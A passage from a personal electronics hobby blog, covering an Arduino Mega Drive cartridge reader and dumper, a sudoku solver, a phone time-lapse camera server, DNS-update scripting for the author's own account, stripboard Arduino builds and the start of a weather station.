  for(int i=0; i<23; i++){
    long test = (mask & addr) >> i;
    if(test == 1){
      digitalWrite(A[i], HIGH);
    }else{
      digitalWrite(A[i], LOW);
    }
    mask = mask << 1;
  }  
}

word readData(){
  word d = 0;
  word mask2 = 0b1;
  for(int i=0; i<16; i++){
    int b = digitalRead(D[i]);
    
    if(b == HIGH){
      d = d | mask2;
    } 
    mask2 = mask2 << 1;
  }
  return d;
}

long readLong(long addr){
  writeAddress(addr);
  delay(50);
  word msb = readData();
  writeAddress(addr+1);
  delay(50);
  word lsb = readData();

  long result = msb;
  result = (result << 16) | lsb;
  return result;  
}

void setup(){
  Serial.begin(115200);

  resetAddressBus();
  for(int i=0; i<16; i++){
    pinMode(D[i], INPUT);
  }
  
  Serial1.begin(9600);
  Serial1.print(0xFE, BYTE);
  Serial1.print(0x01, BYTE);
  Serial1.print(0xFE, BYTE);
  Serial1.print(0x80, BYTE);
  
  for(byte i=0; i<8; i++){
    writeAddress(0x90 + i);
    delay(5);
    //read the data bus
    word d = readData();
    //convert the 16 bit word to two bytes
    byte d2 = d & 0xFF;
    byte d1 = (d & 0xFF00) >> 8;
    Serial1.print(d1);
    Serial1.print(d2);
  }


  Serial.print(0xFE, BYTE);
  Serial.print(0xFE, BYTE);

  long romend = readLong(0xd2);
  romend = (romend+1)/2;
  long romstart = readLong(0xd0);
    
  for(long i=romstart; i<romend; i++){
    if((i % 512) == 0){
      Serial1.print(0xFE, BYTE);
      Serial1.print(0xC0, BYTE);
      Serial1.print(i*2, DEC);
      Serial1.print('/');
      Serial1.print(romend*2, DEC);
    }

    writeAddress(i);
    delay(2);
    //read the data bus
    word d = readData();
    //convert the 16 bit word to two bytes
    byte d2 = d & 0xFF;
    byte d1 = (d & 0xFF00) >> 8;
    
    if(d1 < 0x10){
      Serial.print('0');
    }
    Serial.print(d1, HEX);
    
    if(d2 < 0x10){
      Serial.print('0');
    }
    Serial.print(d2, HEX);
  }
  
  Serial1.print(0xFE, BYTE);
  Serial1.print(0xC0, BYTE);
  Serial1.print(romend*2, DEC);
  Serial1.print('/');
  Serial1.print(romend*2, DEC);
  
  Serial.print(0xFF, BYTE);
  Serial.print(0xFF, BYTE);
  
  Serial.end();
}

void loop(){
  return;
}
  

On the PC I first need to set up the tty (this is probably linux specific - I did try to use pyserial so it would be platform independent but I couldn't get it to work reliably) :

  stty -F /dev/ttyUSB0 115200 raw ixon ixoff
  

The python code reads the serial data looking for the start marker ("\xfe\xfe") to tell it to start decoding from the ascii values back to the binary and then write them to a file. Finally it sees the end marker ("\xff\xff") and closes the file and exits.

import sys

if (len(sys.argv) > 2):
  portname = sys.argv[1]
  filename = sys.argv[2]
else:
  print "dumper.py <port> <filename>"
  exit()

print "reading from", portname
print "writing to", filename

write = False

with open(portname,"rb") as f:
  while f:
    b = f.read(2)
    if b == "\xff\xff": #end marker
      print "end"
      f.close()
      f = None
    elif b == "\xfe\xfe": #start marker
      print "start"
      write = True
      dump = open(filename,"wb")
    elif write == True:
      b = int(b, 16)
      dump.write( chr(b) )
      dump.flush()
  

The dumper has been successfully tested with all the cartridges I have (Sonic the Hedgehog, Altered Beast, Desert Strike, Madden NFL 94, NFL 93, Castle of Illusion and Madden NFL 96). Once dumped each one was loaded on to the SD card in my Blaze Megadrive Handheld to verify that they ran.

Madden 96

Altered Beast

arduino|
mega mega reader 23 Jul 2012

(click here for the follow up post)

I recently got given an original Sega mega drive and after completing the first couple of worlds on Sonic I started to wonder what else I could do with it. I thought the easiest thing would be to try and read the data from a cartridge as all you need to do it write the required address to the 23 pin address bus and then read the bits from the 16 pin data bus. My arduino mega has more than enough pins and so can read a cartridge with no external components other than cartridge connector.

The closest thing the 32x2 way card slot I could find was a 31x2 way ISA slot on an old 486 motherboard. Thankfully the outermost pins on one end of the cartridge are made up of an unused pin and a redundant ground connection and so can be safely left unconnected. After de-soldering it I used a file to remove the plastic so I could physically get the cartridge in. (Left side in the image below.)

*=active low

a1  - gnd    b1  -
a2  - +5v    b2  -
a3  - A8     b3  -
a4  - A11    b4  - A9
a5  - A7     b5  - A10
a6  - A12    b6  - A18
a7  - A6     b7  - A19
a8  - A13    b8  - A20
a9  - A5     b9  - A21
a10 - A14    b10 - A22
a11 - A4     b11 - A23
a12 - A15    b12 -
a13 - A3     b13 -
a14 - A16    b14 -
a15 - A2     b15 -
a16 - A17    b16 - *OE
a17 - A1     b17 - *CS
a18 - gnd    b18 - *AS
a19 - D7     b19 -
a20 - D0     b20 -
a21 - D8     b21 -
a22 - D6     b22 - D15
a23 - D1     b23 - D14
a24 - D9     b24 - D13
a25 - D5     b25 - D12
a26 - D2     b26 -
a27 - D10    b27 - *RESET
a28 - D4     b28 - *WE
a29 - D3     b29 -
a30 - D11    b30 -
a31 - +5v    b31 -
a32 - gnd    b32 - gnd
  

The 'b' side (b1-b32) is the front side of the cartridge and 'a' the rear. a1 and b1 are the two pins that I've left unconnected due to the the ISA connector being too short. The 'A' pins (A1-A23) are the address bus and the 'D' pins (D0-D15) are the 16 bit data bus. I've wired every pin on both buses to it's own digital IO pin on the arduino mega - it doesn't really matter which ones as long you make a note of the mapping. I did have a problem using 20 and 21 as these seem to have 20k Ohms across them which may be to do with them also being the i2c pins. OE and CS are grounded but everything seemed to work even when they were disconnected.

The test code below reads from address 0x80 (word aligned) - which is the location of the 'SEGA' licencing string and is usually followed by either 'GENESIS' or 'MEGA DRIVE', the release date and game title - until it hits a null byte then it starts again at 0x80.

The A[23] array is the arduino pin to address line mapping - A[0] is A1, A[1] is A2 etc. The D[16] array is the pin to data line mapping - D[0] is D0, D[1] is D1 etc.

//address pins (note - cartridge interface starts at A1 so A[0] == A1, A[1] == A2 etc)
int A[23] = {27,29,31,33,35,37,39,41,44,42,40,38,36,34,32,30,28,43,45,47,49,51,53};

//data pins
int D[16] = {23,22,2,16,17,14,24,25,26,21,3,15, 52,50,48,46};

void resetAddressBus(){
  for(byte i=0; i<23; i++){
    pinMode(A[i], OUTPUT);
    digitalWrite(A[i], LOW);
  }  
}

void writeAddress(long addr){
  long mask = 1;
  for(int i=0; i<23; i++){
    long test = (mask & addr) >> i;
    if(test == 1){
      digitalWrite(A[i], HIGH);
    }else{
      digitalWrite(A[i], LOW);
    }
    mask = mask << 1;
  }  
}

word readData(){
  word d = 0;
  word mask2 = 0b1;
  for(int i=0; i<16; i++){
    int b = digitalRead(D[i]);
    
    if(b == HIGH){
      d = d | mask2;
    } 
    mask2 = mask2 << 1;
  }
  return d;
}

void setup(){
  Serial.begin(9600);
  //Serial.println("setup()");
  resetAddressBus();
  for(int i=0; i<16; i++){
    pinMode(D[i], INPUT);
  }
  
  Serial1.begin(9600);
  Serial1.print(0xFE, BYTE);
  Serial1.print(0x01, BYTE);
  Serial1.print(0xFE, BYTE);
  Serial1.print(0x80, BYTE);
}

long a = 0x80; // 0x100 start of 'SEGA'

byte lcd[16] = { ' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ' };
byte lcdcur = 0;

void loop(){
  //write a to the address bus
  writeAddress(a);
  delay(250);
  
  //read the data bus
  word d = readData();
  //convert the 16 bit word to two bytes
  byte d2 = d & 0xFF;
  byte d1 = (d & 0xFF00) >> 8;
  
  if(d1 != 0){
    Serial.print(d1);
    lcd[16-2] = d1;
  }

  lcdcur++;
  
  if(d2 != 0){
    Serial.print(d2);

    lcd[16-1] = d2;
  }

  Serial1.print(0xFE, BYTE);
  Serial1.print(0x80, BYTE);
  
  
  //write to lcd
  for(byte i=0; i<16; i++){
    Serial1.print(lcd[i]);
  }
  
  //shuffle down two
  for(byte i=0; i<(16-2); i++){
    lcd[i] = lcd[i+2];
  }
  
  lcdcur++;
  if(lcdcur == 16){
    lcdcur = 0;
  }
  
  a++;
  //loop back to start when we hit a null
  if((d1 == 0) || (d2 == 0)){
    a = 0x80;
  }
}
  

Example output from the arduino serial monitor (from 'Castle of Illusion' and 'Madden NFL 96'):

Finally I added ZX-400P two line LCD connected to TX1 and some simple right to left scrolling code so that it could be used independently of a PC.

The device has been tested with all the cartridges I have to hand: Sonic the Hedgehog, Altered Beast, Desert Strike, Madden NFL 94, NFL 93, Castle of Illusion and Madden NFL 96.

arduino|
popbot i2c telemetry shield 5 Jun 2012

I built this shield to easily expand my Popbot to be able to use an accelerometer, a gyroscope and to provide telemetry data via bluetooth. I'm using a 3 axis ITG3200 (accelerometer), a 3 axis BMA180 (gyro) and a BTM182 bluetooth module. All three of these devices are 3.3v so it includes a LD33 regulator. Level conversion is done via four 2N7000's - two for the I2C bus used by the ITG3200/BMA180 and two for the RX/TX used by the BTM182.

The board is as large as it can be without covering any of the existing connectors although the reset button is now inaccessible so has been duplicated on the right hand side.

The ITG3200 and the BMA180 occupy the two female headers on the left, deliberately not soldered so they can be easily re-used in other projects. They have been arranged so that they share a Z axis - hopefully this will mean the forces acting upon them will affect both devices equally. This was acheived by padding the pins on a stackable female header with plastic from a standard strip of headers.

Four pins are broken out at the bottom left of the board for 5v I2C (GND, +5v, SDA, SCL). Space has been left to optionally break out additional 5 volt 'ports' if required. Used presently to connect to a SRF08 ultrasonic range finder.

The bluetooth module connects via the four pin female header on the right (GND, +3.3v, D2, D4). SoftSerial is used on D2 and D4.

The BTM182 board is attached via a 'L' shaped adaptor board to bring the bluetooth antenna up above the other electronics to maximise the RF performance. On the right you can see the additional padding on the connector to raise the ITG3200 above the BMA180.

The Popbot with the board and devices installed, hardware is currently configured with a dual spectrum (infrared/ultrasonic) ranging 'head' using two servos (a micro mounted on top of a regular sized) for pan and tilt.

Schematic taken from Eagle. Yellow is the copper tracks on the underside of the strip board, red is jumper wires on the top side. It's missing the large capacitor included on my board. Additionally space has been left to include small high frequency filter caps if appropriate. All resistors are 10k Ohm. Eagle .brd file available here.

arduino|
oneiric compiz downgrade 18 Feb 2012

I make heavy use of the compiz cube on my xubuntu desktops - unfortunately I've just upgraded them both to oneiric which has this(video) rather annoying bug.

The fix is to downgrade compiz to the 0.9.4 version in natty. First add the natty repos to your apt sources:

deb http://ubuntu.mirror.cambrium.nl/ubuntu/ natty-updates main universe
deb http://ubuntu.mirror.cambrium.nl/ubuntu/ natty main universe  
  

Update your local cache:

  sudo apt-get update
  

Then install the 0.9.4 version of compiz and ccsm, and their dependencies:

sudo apt-get install compiz=1:0.9.4+bzr20110606-0ubuntu1~natty2 \
compiz-core=1:0.9.4+bzr20110606-0ubuntu1~natty2 \
compiz-gnome=1:0.9.4+bzr20110606-0ubuntu1~natty2 \
compiz-plugins=1:0.9.4+bzr20110606-0ubuntu1~natty2 \
compiz-plugins-main=0.9.4+bzr20110527-0ubuntu1~natty1 \
compizconfig-backend-gconf=0.9.2.4-0ubuntu1 \
libcompizconfig0=0.9.4-0ubuntu2 \
libdecoration0=1:0.9.4+bzr20110606-0ubuntu1~natty2 \
compizconfig-settings-manager=0.9.4-0ubuntu2 \ 
python-compizconfig=0.9.4-0ubuntu1 \
compiz-plugins-extra=0.9.4-0ubuntu3
  
birthday cake 5 7 Jan 2012

Multi-coloured birthday cake!

And some pics from the build:

autozen ttl update 1 Oct 2011

I've updated my Zen DNS script to be able to set the TTL. This is really handy as Zen reset the TTL back to 86400 seconds 24 hours after you change it. It uses the same XSLT method as used to set the IP and is triggered by passing 'force' as the first parameter to the script - this also forces a IP update even if it's currently correct.

I currently have a cronjob set to run it in standard mode (i.e. check if it's wrong before updating) every two minutes and once every six hours with force set. This means normally I'm only hitting Zen's boxes four times a day which I don't think is too much of an extra load - although there will of course be extra load on their name servers as I'm setting my TTLs lower than the default.

Code can be found here.

arduino double horse 9053 board 13 Sep 2011

For quite a while now I've been working on converting a Double Horse 9053 from radio to arduino controlled so it can be used as an experimental platform for guidance control.

After a couple of attempts I've designed a drop in replacement board (although mine is much larger than the stock one) that can just be plugged into the existing motor and battery connectors.

Via two PWM pins connected to a couple of IRL3704 MOSFET's I can control the two main rotor blades, which when used together can adjust the height (by increasing/decreasing the speed of both motors) and provide left or right rotation (when one rotors's speed in increased and the other decreased).

Using two digital pins connected to the input lines on an L293D motor driver, the tail rotor can be made to move in either direction, tilting the main rotors and making it move forwards/backwards. An increase in speed of the main rotors is required to maintain level flight. PWM on a third pin connected to the L293D enable line can control the tail rotor's speed.

The 7.2v supply from the battery is converted both to 3.3v and 5v via an LV33 and 7805 respectively. The 5v supply is used by most of the components including the arduino, L293D (excluding the motor supply which is 7.2v), serial and i2c. The 3.3v also used for i2c after the SDA/SCL level has been converted using a sparkfun level converter. A 3.3v pin is also broken out next to the standard 6 pin serial so that a btm182 bluetooth module can be used for wireless control instead of a FTDI cable - again with the levels converted.

Below is the first version, it was built organically and so is a bit of a mess. It became unworkable when I needed to add 3.3v i2c support for the accelerometer and gyroscope. (The ATmega328 should be in the left socket the L293D in the right one.)

The second version was based on the stripboard arduino but the modular design proved to be far too heavy.

This time I laid everything out using Eagle to get it as tight as possible. The space in the bottom right has been left to later include logging to SD card via the SPI bus. The gold lines are the copper tracks on the underside of the stripboard, the red lines are jumper wires on the top.

eagle .brd | larger version

The original stock board next to version three - the motor connectors have been removed; the grey and yellow wires were attached to key points during early experiments.

Here's the board installed in the chassic of the 9053, on the left you can see the btm182 bluetooth module.

With the board complete I can now use blueterm to perform basic remote control from my phone.

arduino|
stripboard arduino update 4 Sep 2011

After a long wait, I've finally added a eagle schematic to the following pages:

arduino|
zen dyndns (the VIEWSTATE problem) 28 Aug 2011

Due to the complete failure of my previous name host provider (freeparking.co.uk - not only did they fail to renew my domain for the second year in a row but also didn't respond to any of my support tickets leaving my domain unavailable for 3 days. The situation was only resolved when I contacted their upstream registrar..<sigh>) I moved my name hosting to Zen Internet. Zen's support is excellent - highly recommended.

The only downside is that I can no longer set the @ record to a CNAME (seems to work fine for the subdomains however). Previously I'd been pointing sodnpoo.com to sodnpoo.ath.cx, this is in turn updated from the dyndns client on my router.

I thought the easy way to solve this would be to just use curl to form post to Zen's customer portal. Login was easy but when I tried to post to the DNS management form it failed with an error, upon closer examination I noticed a huge (several K) parameter being passed called VIEWSTATE.

After doing some research I discovered that VIEWSTATE is an opaque data blob produced by ASP.NET forms to hold the persistent state of the page. I pulled the page with curl and used some simple sed to extract the VIEWSTATE value and posted it back. It still didn't work so I started to add more parameters and soon hit the "html isn't regular so you can't parse it with a regex" problem, so I looked for another solution.

I decided I should parse the html properly and thought that XSLT was really the best solution - I just needed to generate post data as expected by curl (i.e. uri encoded name=values pairs). I tried to run it through xlstproc but the html was too dirty, so I ran it through tidy which cleaned it up enough to not trip up xsltproc. The following XSLT was matched against all input tags to build the post data.

  <xsl:template match="xhtml:input">
    <xsl:value-of select="@name"/>=<xsl:value-of select="str:encode-uri(@value ,true())"/>&#38;
  </xsl:template>
  

Extracting the form data and posting it back still failed though. I looked again at what the browser was doing and saw that some of the parameters were being modified, some dropped and some added by the javascript in the page. I also notice one parameter didn't exist at all in the form when using curl's default user agent - setting it to Firefox's made the parameter appear.

I fixed up XLST to modify what was needed to match what the browser was sending and posted the results again - this time there were no errors and a html page was returned. I modified the XSLT to change the IP it was sending and ran through it again - I refreshed the page in my browser and the IP had been changed - success!

The code is implemented as a shell script, a template for the login part and a couple of XSLT's. It requires that the zen friendly name is set to the domains name e.g. 'sodnpoo.com'.

Autozen.sh is the main script - don't forget to set the USERNAME/PASSWORD/DOMAINS and probably the method of getting the latest IP (IPADDR). (You might need to change the DOMLISTURL - this is the page in the Zen portal where you select the domain to modify).

Zen.login.post is a quick and dirty static template - we just poke the USERNAME/PASSWORD values in there with sed.

Getdomains.xml is an XSLT to extract the POST URLs of all domains with their friendly name set.

Zenasp.xsl is another XSLT that takes the four octets of the desired IP and pokes them into the form data to be sent to the POST URLs.

Code can be found on github.

sudoku solver 02 Jul 2011

This is a python script to solve sudoku puzzles - in particular a 16x16 board but with some small modifications it should be able to solve 9x9 boards too. It walks through the board evaluating each cell against six tests - first it removes any proven negatives from the cells list of possible values in it's row, column and square neighbours - then it checks against the same neighbours to see if the cell has any unique possibilities amongst them.

The code's a bit messier than I would like and I suspect could be optimised some what but as it completes on my desktop in 0.38 seconds I don't really thinks its worth the effort. It take 21 iterations of the board, running a total of 9247 individual tests.

### GC2RBNM

import time

#The board is defined as an two dimensional array of ints with -1 representing a blank cell.

#      0   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F
game = {
  'board' : [
    [  7, -1, 14, 10, -1, -1, -1, 12, -1, 13, -1, -1, -1,  8,  6,  1 ], # F
    [  6, -1, -1, -1, -1, -1, -1, -1, 16,  4, -1,  8, -1,  7,  3, 12 ], # E
    [ 16, -1, -1,  8, -1, -1,  6, -1,  3, -1, -1,  7, -1,  4, -1, 14 ], # D
    [ -1,  4, -1,  9,  8, -1, -1, -1, -1,  6, -1, -1, -1,  5, -1, -1 ], # C
    [ -1, -1, -1, -1, -1, -1, -1,  6, -1, -1,  8, 16, -1, -1, 13, -1 ], # B
    [  9, -1, 12,  4,  2, 11, -1, 16,  7,  5,  6, -1,  8, -1, -1, -1 ], # A
    [ -1, -1,  3,  6, -1, -1, 13,  8, -1, -1, -1, 12, -1, 11, -1, -1 ], # 9
    [ -1, -1,  8, 11, -1, -1, -1,  7,  1, -1, -1,  3,  6, 12, -1,  2 ], # 8
    [ 15, -1, 11, -1, 16,  6,  7, -1, -1, -1, -1, -1, -1, -1, -1,  8 ], # 7
    [  1, -1,  6,  7, -1,  5,  2, -1, -1,  8, -1, -1,  3,  9, -1,  4 ], # 6
    [ 14, -1, -1, -1, 15,  8, 12, 11, -1, 10, -1, -1,  7,  6, -1, -1 ], # 5
    [  8, -1, -1, 16, -1, -1,  3,  9, -1, -1, -1,  6,  5, -1, 14, -1 ], # 4
    [ -1, -1, -1,  5,  6, -1,  1, 14, 15, -1, -1, 11,  4, -1,  8,  3 ], # 3
    [ -1, -1, -1, -1, 13, -1,  8, -1,  6, -1, -1,  1, -1,  2,  7, -1 ], # 2
    [ -1,  6, 15, -1, -1,  2, -1, -1,  8,  3, -1,  9,  1, -1, -1, 10 ], # 1
    [ -1,  8, -1,  2, -1, -1, -1,  3, -1, 16, 14, 10, -1, -1,  9,  6 ]  # 0
  ],
  'possible' : [[]], # list of possibilities - one for each cell
  'changed' : [[]]   # changed flag - one for each cell
}

#init the arrays
for x in range(16): # add a row
  game['possible'].append([])
  game['changed'].append([])
  for y in range(16):
    game['possible'][x].append(range(1,16+1))
    game['changed'][x].append(False)

#print the board - uses ansi colours to show updated
def printgame():
  CSI="\x1B["

  for x in range(16): 
    for y in range(16):
      cell = game['board'][x][y]

      if cell == -1:
        cell = ''

      cell = str(cell)

      if game['changed'][x][y] == True:
        #color it
        cell = '\033[93m' + cell.rjust(4) + '\033[0m'
        game['changed'][x][y] = False #clear it

      else:
        cell = cell.rjust(4)
  
      print cell,
    print

#walk the column removing possibilities that have been proven
def checkcellx(x, y):
  for i in range(0,16):
    if game['board'][x][i] != -1:
      if game['board'][x][i] in game['possible'][x][y]:
        game['possible'][x][y].remove(game['board'][x][i])

#walk the row removing possibilities that have been proven
def checkcelly(x, y):
  for i in range(0,16):
    if game['board'][i][y] != -1:
      if game['board'][i][y] in game['possible'][x][y]:
        game['possible'][x][y].remove(game['board'][i][y])

#walk the square removing possibilities that have been proven
def checksquare(x, y):
  minx = x-(x-(4*(x/4)))
  maxx = minx+4
  miny = y-(y-(4*(y/4)))
  maxy = miny+4
  for xi in range(minx, maxx):
    for yi in range(miny, maxy):
      #print xi, yi
      if game['board'][xi][yi] != -1:
        if game['board'][xi][yi] in game['possible'][x][y]:
          game['possible'][x][y].remove(game['board'][xi][yi])

#walk the col checking if we have any unique possibities
def checkcellx2(x, y):
  c = { }
  for i in range(0,16):

    for possible in game['possible'][x][i]:
      for poss in game['possible'][x][y]:

        if poss == possible:
          c[str(possible)] = c.get(str(possible), 0) + 1
          if c[str(possible)] > 1:
            break

  for a in c:
    if c[a] == 1:
      game['possible'][x][y] = [int(a)]

#walk the row checking if we have any unique possibities
def checkcelly2(x, y):
  c = { }
  for i in range(0,16):

    for possible in game['possible'][i][y]:
      for poss in game['possible'][x][y]:

        if poss == possible:
          c[str(possible)] = c.get(str(possible), 0) + 1
          if c[str(possible)] > 1: #optimisation - break out early if we're not the only one
            break

  for a in c:
    if c[a] == 1: #if we are the only one then update the game board
      game['possible'][x][y] = [int(a)]

#walk the square checking if we have any unique possibities
def checksquare2(x, y):
  c = { }
  minx = x-(x-(4*(x/4)))
  maxx = minx+4
  miny = y-(y-(4*(y/4)))
  maxy = miny+4
  for xi in range(minx, maxx):
    for yi in range(miny, maxy):
      for possible in game['possible'][xi][yi]:
        for poss in game['possible'][x][y]:

          if poss == possible:
            c[str(possible)] = c.get(str(possible), 0) + 1
            if c[str(possible)] > 1:
              break

  for a in c:
    if c[a] == 1:
      game['possible'][x][y] = [int(a)]


printgame()
print
print

start = time.time()

testsrun = 0
runnum = 0
update = True
while update:
  #print runnum
  update = False
  for x in range(16):
    for y in range(16):
      if game['board'][x][y] == -1:
        #print "x:",x," y:",y,
        #possible optimisation - dont run more tests if already proven in previous test 
        #(probably not worth it as it only saves ~350 tests and duration is approx the same)

        if len(game['possible'][x][y]) != 1:
          checkcellx(x,y)
          testsrun = testsrun + 1
        
        if len(game['possible'][x][y]) != 1:
          checkcelly(x,y)
          testsrun = testsrun + 1

        if len(game['possible'][x][y]) != 1:
          checksquare(x,y)
          testsrun = testsrun + 1

        if len(game['possible'][x][y]) != 1:
          checkcellx2(x,y)
          testsrun = testsrun + 1

        if len(game['possible'][x][y]) != 1:
          checkcelly2(x,y)
          testsrun = testsrun + 1

        if len(game['possible'][x][y]) != 1:
          checksquare2(x,y)
          testsrun = testsrun + 1

        if len(game['possible'][x][y]) == 1: #only one possibility left so its now proven
          #print "x:",x," y:",y, "update:", game['possible'][x][y]
          game['board'][x][y] = game['possible'][x][y][0]
          update = True
          game['changed'][x][y] = True

      else:
        game['possible'][x][y] = [game['board'][x][y]]

  runnum = runnum + 1
        

elapsed = (time.time() - start)

print
printgame()
print "runs#".ljust(10),runnum
print "tests#".ljust(10),testsrun
print "elapsed".ljust(10),elapsed
  

n95 remote cam 21 May 2011

I wanted to do some time lapse photography of the peppers and tomatoes I have on my windowsill so I could see how they're growing. I'd done this before using a webcam and a shell script. Although you could see the plants growing, due to the low resolution of the webcam you couldn't really see much more.

I started thinking about hacking an old digital camera with an arduino but while digging around for the best one found my old n95. The n95 has a 5 mega pixel camera on it which is better than the 3 mega pixel camera I've got. I also realised as I'd written code for it before (here (c++) and here (pys60)) that I could probably use the camera on it without having to make any modifications to the hardware.

The pys60 camera api makes taking the picture easy with the only sticking point being the need to first wake the screen up and then change the orientation to landscape otherwise we won't get the full 5 mega pixel image. All that was left was to code some method of retrieving the picture - I decided to use a TCP server over wifi, simply pushing the JPEG back to the client. I can then use netcat to pull the picture from anywhere I can connect to it from.

import appuifw, e32, SocketServer, camera, time

class MyTCPHandler(SocketServer.BaseRequestHandler):
    def handle(self):    
        e32.reset_inactivity() # wake screen up
        time.sleep(1)
        appuifw.app.orientation = 'landscape' #Switch to landscape mode
        time.sleep(1)
        img = camera.take_photo("JPEG_Exif",(2592, 1944),0)
        self.request.send(img)

if __name__ == "__main__":
    HOST, PORT = "0.0.0.0", 9999
    server = SocketServer.TCPServer((HOST, PORT), MyTCPHandler)
    server.serve_forever()  
  

homemade btm182 breakout 25 Apr 2011

This is my homemade btm182 bluetooth module breakout board. Although the module is a SMD part - due to the pads being 'c' shaped and their pitch being the same as the ribbon cable I was using (see here) - I was able to break it out to a small piece of stripboard.

Although I took the time to breakout all of the module's pins to the stripboard, in the end I only ended up putting headers on seven of them and even then only four (rx, tx, +3.3v, GND) of them are used. The three LEDs are power, data and link. Many thanks to Atomsoft who kindly published the relevant pin outs.

As the btm182 is a 3.3v device I used a level shifter to interface it with my 5v arduino. I built this into a 'shield' for my stripboard arduino clone.

And finally - an Eagle board diagram of the shield - this if my first go at one but hopefully it's readable. The horizontal yellow lines are the copper stripboard tracks (only the used tracks are shown) and the red lines are top side jumper wires, the dashed ones are the four connections to the ribbon cable.

stripboard arduino shield 1 6 Feb 2011

So my stripboard arduino clone can do something useful I've built some shields for it. This one is a dual function board handling i2c (both 3.3 & 5 volt) and access to a microSD card via the SPI bus.

The i2c bus is physically accessed by the pins at the bottom of the picture above. On the left is the 5 volt pins (the 4x4 block) and on the right is the 3.3 volt ones (I've run out of pin headers so only one column is populated). Each column on both sides provides v+, SDA, SCL and ground.

The red sub-board is a sparkfun logic level converter that handles the conversion for the 3.3 volt part of the i2c bus. Unlike i2c, the lines on the SPI bus are unidirectional so I could use voltage dividers to perform the level conversion instead of the larger footprint sparkfun board.

I've used an old SD to microSD adapter as a card socket which was easy to work with as the contact spacing is the same as standard pin headers (see the top of the first picture).

The underside of the board is a bit less neat than I would like although I'm quite pleased with how the vertical solder tracks for the SD card came out.

Right now I'm using the 5v i2c bus to read from an SRF08 ranger mounted on the bottom of my prototype UAV, and the SD card to dump the values of the sensors and internal state of relevant program parameters for post test analysis. I'm going to use the 3.3v i2c bus to read from the bma180 and itg3200 once I've mounted both of them on to the UAV chassis.

Arduino code here.

04/Sep/11 - Updated with eagle schematic below - yellow horizontal lines are the copper tracks on the underside of the stripboard, red lines are jumper wires on the top.

arduino|
stripboard arduino clone 22 Jan 2011

I needed a small arduino for a UAV project, I could of just bought a mini but I wanted to see how small and cheap I could actually build one without requiring etching equipment. The final size of the board got down to 45 x 25 mm although by using a resonator instead of a crystal + two capacitors it may be possible to make it slightly thinner.

The board includes only the bare minimal - just regulated power (both 5v and 3.3v), the Atmel 328, the crystal and four capacitors (two for the power lines and two for the crystal).

On the underside you can see where the tracks have been cut. The power section is a bit of a mess as the first attempt had the regulators mounted vertically but the layout was too tight and had to changed. Even then I still had a problem when I first powered it up because the heat sinks were touching - the sink on the 7805 is grounded but the one on the LD33 is +3.3v.

The first 'shield' I made has the basic extra features - a reset button, a general purpose LED and a serial programming header compatible with the standard FTDI cable or breakout board. This board is not required in normal use and only really needs to be installed during programming.

And the underside - the pin on the right hand side does nothing electrically and is just there to help hold the shield.

The programming shield needs to be at the top of the stack as it only has eight of the stackable headers mounted on it. The main board has a full set of them and so can be anywhere in the stack, not necessarily at the bottom.

The two pins near the power capacitors on the main board are power in - I'm using a standard 9v battery but anything above 7v should work.

I've also built two more shields - one handles the interface to the UAV hardware and the other deals with the I2C bus (both 5v and 3.3v) and SD card via SPI. I'll document these in a future post.

04/Sep/11 - Updated with eagle schematic below - yellow horizontal lines are the copper tracks on the underside of the stripboard, red lines are jumper wires on the top. Notice on the photos the orientation of the 7805 and the LD33.

arduino|
arduino weather monitoring station 5 16 Jan 2011

In situ pictures

Below is a picture of the weathoscope mounted on the inside of the shed. You can see the USB cable on the right and the black/yellow cable of the temperature probe on the left. The probe cable runs out through the gap beween the wall and the roof, the probe itself hanging in the air.

I'm hoping that hanging there will be both out of direct sunlight and out of the rain.

Weathoscope can be found here.

Code available on github.

arduino|weathoscope|
arduino weather monitoring station 4 16 Jan 2011

Server side code changes

I've just pushed the latest server side code changes up to github. The biggest change is that the persistent storage has been moved to a postgres database instance to allow efficient retrieval based on date ranges. The database schema is just one table with two columns - a timestamp and the temperature.

The background perl script - weathoscope_logger_db.pl - now uses the DBI perl module and simply inserts the values into the database as they are read from the arduino.

On the web front end, the php script - index.php - runs a small SQL query to extract the latest captured temperature :

  SELECT temp FROM log ORDER BY ts DESC LIMIT 1
  

It also outputs a couple of image tags linking to a third php script - temp_chart_db.php - which handles the dirty job of taking the data returned from the DB and formatting it into something the google charts api can work with. It can take an optional parameter that changes the date range from 1 day to 1 week. I plan to make longer ranged graphs available as soon as I have the data (within the bounds of reasonable query response times anyway).

There been some strange spikes on the graphs over the past week - I suspect the probe need repositioning further away from the house and the on-device smoothing probably needs it's number of samples increasing.

Weathoscope (with graphs) can be found here.

Code available on github.

arduino|weathoscope|
sodnpoo.com stats 15 Jan 2011

I've made available some quick and dirty stats for sodnpoo.com. The code is written in php and is run via a cron job once a day, generating a 'standard' sodnpoo xml post. Pie charts are rendered via the Google charts api.

It's a big ball of parsing gack so I won't be releasing it unless someone really wants it.

Stats are here.

arduino weather monitoring station 3 3 Jan 2011

Initial version

Here's the first version of the weathoscope. This initial version only supports temperature but I'll add sensors as they and time become available. It's now installed in the shed with the LM335Z sticking outside sampling the air in the back garden.

And with the lid on:

The code running on it (below) dumps the current values of the sensors on a single line consisting of key/value pairs, to the serial port every 60 seconds.

#include "stdlib.h"
#include "math.h"
#include "wiring.h"
#include "WProgram.h"
#include "Wire.h"

#include <Smoothing.h>
#include <Timer.h>

//status LED
const int LEDPIN = 13;

//rotorary encoder photocell - wind speed
/* NOT USED
const int PHOTOPIN = 0;
volatile int state = LOW;
volatile int counter = 0;
*/

//LM335Z - temperature
const int LM335RATE = 1000; // 1 second
const int LM335PIN = 0;
Timer LM335Timer;
Smoothed LM335Smooth;
int LM335toDegreesC(int raw, int fudge){
//Algorithm to convert the LM335 output signal from the ADC to degrees C.
  return (((raw * 500L) / 1023L) - 273L) + fudge; 
} 

//dump data timer
Timer dumpTimer;
const int DUMPRATE = 60000; //60 seconds

void setup(){
  Serial.begin(9600);
  Serial.println("setup");

  digitalWrite(LEDPIN, LOW);

  /* NOT USED
  pinMode(PHOTOPIN, INPUT);
  attachInterrupt(PHOTOPIN, windSpeedISR, FALLING);
  */
  
  newSmoothed(&LM335Smooth, 10);
  newTimer(&LM335Timer, LM335RATE);

  newTimer(&dumpTimer, DUMPRATE);
  
  delay(1000);
}

void windSpeedISR()
{
  /*
  state = !state;
  counter++;
  */
}

int smoothedLM335 = 0;

void loop(){
  if( checkTimer(&LM335Timer) ){
    int rawLM335 = analogRead(LM335PIN);
